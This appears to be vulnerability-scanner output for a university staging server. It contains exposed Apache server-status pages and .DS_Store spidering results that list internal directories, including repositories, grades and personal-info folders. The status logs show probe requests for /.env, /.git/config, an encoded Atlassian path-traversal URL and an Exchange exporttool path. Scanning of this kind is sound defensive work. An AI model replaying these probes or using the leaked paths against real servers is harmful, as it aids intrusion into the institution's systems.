127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/3135312e3130312e3139342e313333/_/;/META-INF/maven/com.at 9-72111001/227/453192K 0.86353411.60.38866.22 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/3135312e3130312e322e313333/_/;/META-INF/maven/com.atlass 10-72111143/34/297437K 0.293010.00.30579.92 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.DS_Store HTTP/1.1 11-72159911/1/280150K 0.22047211.60.01550.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/3135312e3130312e36362e313333/_/;/META-INF/maven/com.atla 12-72159971/1/264114K 0.22046511.40.01505.70 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /telescope/requests HTTP/1.1 13-72186391/552/183165K 2.21353511.41.46370.71 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /telescope/requests HTTP/1.1 14-72111212/227/123785K 1.00241922.80.51251.24 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /info.php HTTP/1.1 15-72160041/1/142117K 0.23046211.40.01289.29 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /info.php HTTP/1.1 16-72160171/1/127510K 0.00003.30.00279.89 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.env HTTP/1.1 17-72160180/0/72082W 4.13000.00.00162.13 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 18-72160241/1/107156K 0.00003.30.00198.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.DS_Store HTTP/1.1 19-72160310/0/38804S 0.001422900.00.0093.29 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 20-72304991/1891/63165K 6.32354511.64.27118.96 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/3135312e3130312e3133302e313333/_/;/META-INF/maven/com.at 21-72160360/0/100760S 1.68954500.00.00203.78 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 22-7200/0/95700S 0.001422800.00.00174.30 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 23-72-0/0/54211. 0.001422700.00.00100.71 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 24-72-0/0/117839. 0.001422600.00.00231.44 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 25-64-0/0/15723. 0.0161266800.00.0023.88 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 26-63-0/0/2495. 2.0768274500.00.005.49 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 27-63-0/0/2203. 0.5968548300.00.0011.87 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 28-63-0/0/5230. 3.9267603900.00.008.22 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 29-63-0/0/18. 0.0168649300.00.000.11 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 30-63-0/0/957. 0.0068659800.00.001.56 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 31-63-0/0/1112. 0.0068659600.00.002.10 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 32-63-0/0/1869. 0.0068659500.00.003.17 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 33-63-0/0/315. 0.0068658000.00.000.89 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 34-63-0/0/476. 0.0068659400.00.000.87 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 35-63-0/0/2086. 1.4768274400.00.003.73 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 36-63-0/0/773. 0.0068659300.00.001.38 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 37-63-0/0/29. 0.0068659200.00.000.17 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 38-63-0/0/826. 0.0068659100.00.004.11 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 39-63-0/0/10311. 1.0068406800.00.0028.03 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 40-63-0/0/441. 0.0068659000.00.000.94 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 SrvChild Server number - generation PIDOS process ID AccNumber of accesses this connection / this child / this slot MMode of operation CPUCPU usage, number of seconds SSSeconds since beginning of most recent request ReqMilliseconds required to process most recent request ConnKilobytes transferred this connection ChildMegabytes transferred this child SlotTotal megabytes transferred this slot
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb31043d4e68043d4e680fc9f7d4
Apache Status Apache Server Status for staging.uwaterloo.ca (via 127.0.0.1) Server Version: Apache/2.4.34 (Red Hat) OpenSSL/1.0.2k-fips PHP/7.3.33 Server MPM: prefork Server Built: Mar 23 2022 14:54:27 Current Time: Tuesday, 02-Aug-2022 13:47:26 EDT Restart Time: Wednesday, 01-Jun-2022 08:05:45 EDT Parent Server Config. Generation: 73 Parent Server MPM Generation: 72 Server uptime: 62 days 5 hours 41 minutes 40 seconds Server load: 0.00 0.03 0.10 Total accesses: 7045654 - Total Traffic: 13.3 GB CPU Usage: u23.67 s21.73 cu0 cs0 - .000844% CPU load 1.31 requests/sec - 2648 B/second - 2021 B/request 3 requests currently being processed, 7 idle workers __W_.K...__..__.....W........................................... ................................................................ ................................................................ ................................................................ Scoreboard Key: "_" Waiting for Connection, "S" Starting up, "R" Reading Request, "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup, "C" Closing connection, "L" Logging, "G" Gracefully finishing, "I" Idle cleanup of worker, "." Open slot with no current process SrvPIDAccMCPU SSReqConnChildSlotClientProtocolVHostRequest 0-72110900/29/584062_ 0.522000.00.201119.26 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 1-7276660/811/596351_ 3.31500.02.041138.73 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 2-72313440/478/549254W 1.04000.00.941046.15 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 3-72313260/1143/520666_ 3.532500.02.86973.41 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 4-72-0/0/491599. 0.0064400.00.00941.53 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 5-721313787/104/434192K 0.4700108.10.19831.59 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80GET /server-status?auto HTTP/1.1 6-72-0/0/478675. 0.0159000.00.00904.50 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 7-72-0/0/453523. 1.4564500.00.00845.85 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 8-72-0/0/371294. 0.00107800.00.00710.82 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 9-72111000/226/453191_ 0.62000.00.37866.21 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 10-72111140/31/297434_ 0.291000.00.29579.91 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 11-72-0/0/280149. 0.0899500.00.00549.99 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 12-72-0/0/264113. 0.00108000.00.00505.68 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 13-72186390/551/183164_ 1.973000.01.45370.70 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 14-72111210/225/123783_ 0.571500.00.49251.22 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 15-72-0/0/142116. 0.00107900.00.00289.28 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 16-72-0/0/127509. 6.011183700.00.00279.89 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 17-72-0/0/72082. 4.13415800.00.00162.13 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 18-72-0/0/107155. 4.57331700.00.00198.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 19-72-0/0/38804. 0.001422600.00.0093.29 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 20-72304990/1890/63164W 6.08000.04.26118.95 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/3135312e3130312e3133302e313333/_/;/META-INF/maven/com.at 21-72-0/0/100760. 1.68954200.00.00203.78 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 22-72-0/0/95700. 0.001422500.00.00174.30 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 23-72-0/0/54211. 0.001422400.00.00100.71 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 24-72-0/0/117839. 0.001422300.00.00231.44 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 25-64-0/0/15723. 0.0161266400.00.0023.88 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 26-63-0/0/2495. 2.0768274100.00.005.49 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 27-63-0/0/2203. 0.5968547900.00.0011.87 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 28-63-0/0/5230. 3.9267603500.00.008.22 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 29-63-0/0/18. 0.0168648900.00.000.11 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 30-63-0/0/957. 0.0068659400.00.001.56 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 31-63-0/0/1112. 0.0068659200.00.002.10 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 32-63-0/0/1869. 0.0068659100.00.003.17 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 33-63-0/0/315. 0.0068657600.00.000.89 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 34-63-0/0/476. 0.0068659000.00.000.87 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 35-63-0/0/2086. 1.4768274000.00.003.73 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 36-63-0/0/773. 0.0068658900.00.001.38 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 37-63-0/0/29. 0.0068658800.00.000.17 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 38-63-0/0/826. 0.0068658700.00.004.11 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 39-63-0/0/10311. 1.0068406400.00.0028.03 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 40-63-0/0/441. 0.0068658600.00.000.94 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 SrvChild Server number - generation PIDOS process ID AccNumber of accesses this connection / this child / this slot MMode of operation CPUCPU usage, number of seconds SSSeconds since beginning of most recent request ReqMilliseconds required to process most recent request ConnKilobytes transferred this connection ChildMegabytes transferred this child SlotTotal megabytes transferred this slot
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb31043d4e68043d4e687e4991b6
Apache Status Apache Server Status for staging.uwaterloo.ca (via 127.0.0.1) Server Version: Apache/2.4.34 (Red Hat) OpenSSL/1.0.2k-fips PHP/7.3.33 Server MPM: prefork Server Built: Mar 23 2022 14:54:27 Current Time: Tuesday, 02-Aug-2022 13:47:26 EDT Restart Time: Wednesday, 01-Jun-2022 08:05:45 EDT Parent Server Config. Generation: 73 Parent Server MPM Generation: 72 Server uptime: 62 days 5 hours 41 minutes 41 seconds Server load: 0.00 0.03 0.10 Total accesses: 7045671 - Total Traffic: 13.3 GB CPU Usage: u24.76 s21.85 cu0 cs0 - .000867% CPU load 1.31 requests/sec - 2648 B/second - 2021 B/request 11 requests currently being processed, 0 idle workers KKKWWK...KK..KW.....K........................................... ................................................................ ................................................................ ................................................................ Scoreboard Key: "_" Waiting for Connection, "S" Starting up, "R" Reading Request, "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup, "C" Closing connection, "L" Logging, "G" Gracefully finishing, "I" Idle cleanup of worker, "." Open slot with no current process SrvPIDAccMCPU SSReqConnChildSlotClientProtocolVHostRequest 0-72110903/32/584065K 0.520010.00.211119.27 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.git/config HTTP/1.1 1-7276663/814/596354K 3.320010.02.051138.74 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.env HTTP/1.1 2-72313442/480/549256K 1.050033.10.971046.18 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 3-72313261/1144/520667W 3.770011.52.87973.42 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 4-72159660/0/491599W 0.00000.00.00941.53 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 5-721313788/105/434193K 0.4700109.30.20831.59 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80GET /server-status?auto HTTP/1.1 6-72-0/0/478675. 0.0159100.00.00904.50 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 7-72-0/0/453523. 1.4564600.00.00845.85 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 8-72-0/0/371294. 0.00107900.00.00710.82 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 9-72111001/227/453192K 0.86053411.60.38866.22 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/3135312e3130312e322e313333/_/;/META-INF/maven/com.atlass 10-72111143/34/297437K 0.290010.00.30579.92 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.DS_Store HTTP/1.1 11-72-0/0/280149. 0.0899600.00.00549.99 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 12-72-0/0/264113. 0.00108100.00.00505.68 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 13-72186391/552/183165K 2.21053511.41.46370.71 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /telescope/requests HTTP/1.1 14-72111211/226/123784W 0.800011.40.50251.23 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /info.php HTTP/1.1 15-72-0/0/142116. 0.00108000.00.00289.28 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 16-72-0/0/127509. 6.011183800.00.00279.89 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 17-72-0/0/72082. 4.13415900.00.00162.13 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 18-72-0/0/107155. 4.57331800.00.00198.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 19-72-0/0/38804. 0.001422600.00.0093.29 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 20-72304991/1891/63165K 6.32054511.64.27118.96 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/3135312e3130312e3133302e313333/_/;/META-INF/maven/com.at 21-72-0/0/100760. 1.68954200.00.00203.78 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 22-72-0/0/95700. 0.001422500.00.00174.30 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 23-72-0/0/54211. 0.001422400.00.00100.71 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 24-72-0/0/117839. 0.001422300.00.00231.44 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 25-64-0/0/15723. 0.0161266500.00.0023.88 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 26-63-0/0/2495. 2.0768274200.00.005.49 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 27-63-0/0/2203. 0.5968548000.00.0011.87 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 28-63-0/0/5230. 3.9267603600.00.008.22 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 29-63-0/0/18. 0.0168649000.00.000.11 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 30-63-0/0/957. 0.0068659500.00.001.56 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 31-63-0/0/1112. 0.0068659300.00.002.10 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 32-63-0/0/1869. 0.0068659200.00.003.17 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 33-63-0/0/315. 0.0068657700.00.000.89 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 34-63-0/0/476. 0.0068659100.00.000.87 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 35-63-0/0/2086. 1.4768274100.00.003.73 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 36-63-0/0/773. 0.0068659000.00.001.38 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 37-63-0/0/29. 0.0068658900.00.000.17 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 38-63-0/0/826. 0.0068658800.00.004.11 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 39-63-0/0/10311. 1.0068406500.00.0028.03 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 40-63-0/0/441. 0.0068658700.00.000.94 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 SrvChild Server number - generation PIDOS process ID AccNumber of accesses this connection / this child / this slot MMode of operation CPUCPU usage, number of seconds SSSeconds since beginning of most recent request ReqMilliseconds required to process most recent request ConnKilobytes transferred this connection ChildMegabytes transferred this child SlotTotal megabytes transferred this slot
.DS_Store” is an abbreviation for “Desktop Services Store”. These files are created automatically by Apples “Finder” software (which is part of their OS).
They store information about the files within a folder, including display options of folders, such as icon positions and view settings.
It may happen that .DS_Store files inadvertently leak filenames such as database backups or private administration panels.
Severity: medium
Fingerprint: 5f32cf5d6962f09c8c9af8b78c9af8b769d3006a69ac06a570132d4267f16226
Found 128 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql1/.hg /faculty-career/sql1/.hg/cache /faculty-career/sql1/.hg/store /faculty-career/sql1/.hg/wcache /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /fare-repo/Banners /fare-repo/images /grades-proc /grades-proc/classes /grades-proc/downloads /grades-proc/imports /grades-proc/reports /grades-proc/uploads /grades-proc-old /iap /import_ccv /mag-dev /mag-dev/downloads /mag-dev/imports /mag-dev/reports /mag-dev-smpl-routr-pub /mag-dev-smpl-routr-pub/public /mag-pub /mag-test /MyCCCV /MyCCCV_mag /MyCCCV_mag/.hg /MyCCCV_mag/.hg/cache /MyCCCV_mag/.hg/store /MyCCCV_mag/common /MyCCCV_mag/export /MyCCCV_mag/MyDATA /MyCCCV_mag/MyDATA/academic_work /MyCCCV_mag/MyDATA/account /MyCCCV_mag/MyDATA/activities /MyCCCV_mag/MyDATA/admin /MyCCCV_mag/MyDATA/contributions /MyCCCV_mag/MyDATA/employment /MyCCCV_mag/MyDATA/lib /MyCCCV_mag/MyDATA/personal_info /MyCCCV_mag/MyDATA/reports /MyCCCV_mag/MyDATA/user_profile /MyCCCV_mag/MyDATA/welcome /MyCCCV_mag/ofas /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /OFIS_mag/ofis /OFIS_mag/ofis/lib /OFIS_mag/ofis/lib/sections /ofis_php_dev /ofis_php_dev/caddy-template /ofis_php_dev/crs-enrol-api /ofis_php_dev/csv-proc-dev /ofis_php_dev/csv-proc-dev/archive /ofis_php_dev/csv-proc-dev/classes /ofis_php_dev/csv-proc-dev/common /ofis_php_dev/csv-proc-dev/vendor /ofis_php_dev/eng-research-2 /ofis_php_dev/eng-research-3 /ofis_php_dev/eng-research-3/.hg /ofis_php_dev/eng-research-3/Banners /ofis_php_dev/eng-research-3/images /ofis_php_dev/eng_research-2 /ofis_php_dev/eng_research-2/Banners /ofis_php_dev/eng_research-2/images /ofis_php_dev/eng_research-2/ofis /ofis_php_dev/engevals-coop /ofis_php_dev/extractHRWorkday /ofis_php_dev/f3-test /ofis_php_dev/f3-test/common /ofis_php_dev/f3-test/config.ini /ofis_php_dev/f3-test/inc-test /ofis_php_dev/f3-test/lib /ofis_php_dev/f3-test/lib/db /ofis_php_dev/f3-test/lib/web /ofis_php_dev/f3-test/tmp /ofis_php_dev/f3-test/ui /ofis_php_dev/f3-test/ui/css /ofis_php_dev/f3-test/ui/images /ofis_php_dev/f3-test/vendor /ofis_php_dev/f3-test/vendor/composer /ofis_php_dev/fli-lat /ofis_php_dev/fli-lat-bs-repo /ofis_php_dev/fli-lat-bs-repo/tmp /ofis_php_dev/fli-lat-fnd /ofis_php_dev/fli-lat-fnd/tmp /ofis_php_dev/fli-lat-fnd/vendor /ofis_php_dev/fli-lat-html-repo /ofis_php_dev/fli-lat-html-repo1 /ofis_php_dev/fli-php /ofis_php_dev/guis /ofis_php_dev/ldap-daniels /ofis_php_dev/msg-test /ofis_php_dev/ofis-bibtex /ofis_php_dev/ofis-for-testing /ofis_php_dev/ofis-login /ofis_php_dev/ofis-mac /ofis_php_dev/ofis-phones /ofis_php_dev/ofis-refactor /ofis_php_dev/ofis-to-examine /ofis_php_dev/OFIS_56-7x /ofis_php_dev/OFIS_mag /ofis_php_dev/php-router /ofis_php_dev/php-router-1 /ofis_php_dev/php-tests /ofis_php_dev/r66-php /ofis_php_dev/ranking-setup /ofis_php_dev/rectorphp-tmp
Severity: medium
Fingerprint: 5f32cf5d6962f09c8c9af8b78c9af8b769d3006a69ac06a570132d42ee53db2a
Found 128 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql1/.hg /faculty-career/sql1/.hg/cache /faculty-career/sql1/.hg/store /faculty-career/sql1/.hg/wcache /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /fare-repo/Banners /fare-repo/images /grades-proc /grades-proc/classes /grades-proc/downloads /grades-proc/imports /grades-proc/reports /grades-proc/uploads /grades-proc-old /iap /import_ccv /mag-dev /mag-dev/downloads /mag-dev/imports /mag-dev/reports /mag-dev-smpl-routr-pub /mag-dev-smpl-routr-pub/public /mag-pub /mag-test /MyCCCV /MyCCCV_mag /MyCCCV_mag/.hg /MyCCCV_mag/.hg/cache /MyCCCV_mag/.hg/store /MyCCCV_mag/common /MyCCCV_mag/export /MyCCCV_mag/MyDATA /MyCCCV_mag/MyDATA/academic_work /MyCCCV_mag/MyDATA/account /MyCCCV_mag/MyDATA/activities /MyCCCV_mag/MyDATA/admin /MyCCCV_mag/MyDATA/contributions /MyCCCV_mag/MyDATA/employment /MyCCCV_mag/MyDATA/lib /MyCCCV_mag/MyDATA/personal_info /MyCCCV_mag/MyDATA/reports /MyCCCV_mag/MyDATA/user_profile /MyCCCV_mag/MyDATA/welcome /MyCCCV_mag/ofas /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /OFIS_mag/ofis /OFIS_mag/ofis/lib /OFIS_mag/ofis/lib/sections /ofis_php_dev /ofis_php_dev/caddy-template /ofis_php_dev/crs-enrol-api /ofis_php_dev/csv-proc-dev /ofis_php_dev/csv-proc-dev/archive /ofis_php_dev/csv-proc-dev/classes /ofis_php_dev/csv-proc-dev/common /ofis_php_dev/csv-proc-dev/vendor /ofis_php_dev/eng-research-2 /ofis_php_dev/eng-research-3 /ofis_php_dev/eng-research-3/.hg /ofis_php_dev/eng-research-3/Banners /ofis_php_dev/eng-research-3/images /ofis_php_dev/eng_research-2 /ofis_php_dev/eng_research-2/Banners /ofis_php_dev/eng_research-2/images /ofis_php_dev/eng_research-2/ofis /ofis_php_dev/engevals-coop /ofis_php_dev/extractHRWorkday /ofis_php_dev/f3-test /ofis_php_dev/f3-test/common /ofis_php_dev/f3-test/config.ini /ofis_php_dev/f3-test/inc-test /ofis_php_dev/f3-test/lib /ofis_php_dev/f3-test/lib/db /ofis_php_dev/f3-test/lib/web /ofis_php_dev/f3-test/tmp /ofis_php_dev/f3-test/ui /ofis_php_dev/f3-test/vendor /ofis_php_dev/fli-lat /ofis_php_dev/fli-lat-bs-repo /ofis_php_dev/fli-lat-fnd /ofis_php_dev/fli-lat-html-repo /ofis_php_dev/fli-lat-html-repo1 /ofis_php_dev/fli-php /ofis_php_dev/guis /ofis_php_dev/ldap-daniels /ofis_php_dev/msg-test /ofis_php_dev/ofis-bibtex /ofis_php_dev/ofis-for-testing /ofis_php_dev/ofis-login /ofis_php_dev/ofis-mac /ofis_php_dev/ofis-phones /ofis_php_dev/ofis-refactor /ofis_php_dev/ofis-to-examine /ofis_php_dev/OFIS_56-7x /ofis_php_dev/OFIS_mag /ofis_php_dev/php-router /ofis_php_dev/php-router-1 /ofis_php_dev/php-tests /ofis_php_dev/r66-php /ofis_php_dev/ranking-setup /ofis_php_dev/rectorphp-tmp /ofis_php_dev/rtfTableRenderer /ofis_php_dev/sandbox /ofis_php_dev/sandbox1 /ofis_php_dev/sandbox2 /ofis_php_dev/tania /ofis_php_dev/test
Severity: medium
Fingerprint: 5f32cf5d6962f09c2a0815492a08154937baa6746903bcb3317326308a2c1072
Found 70 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql1/.hg /faculty-career/sql1/.hg/cache /faculty-career/sql1/.hg/store /faculty-career/sql1/.hg/wcache /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /fare-repo/Banners /fare-repo/images /grades-proc /grades-proc/classes /grades-proc/downloads /grades-proc/imports /grades-proc/reports /grades-proc/uploads /grades-proc-old /iap /import_ccv /mag-dev /mag-dev/downloads /mag-dev/imports /mag-dev/reports /mag-dev-smpl-routr-pub /mag-pub /mag-test /MyCCCV /MyCCCV_mag /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /ofis_php_dev /ofis_py_dev /ofis_raw_data /ofis_sql_dev /ofis_templates_dev /OFIS_test /ofisDbStruct /ofisDocs /ofisDocsArchive /oor /phpdoc.bat /PhpDocumentor /profile /ranking /ranking-2016 /ranking-repo-2020 /ranking_csv_proc-repo /ranking_db /refBase /Templates /test /thirdPartyLib /tutorial
Severity: medium
Fingerprint: 5f32cf5d6962f09c8c9af8b78c9af8b769d3006a69ac06a570132d4209af4d48
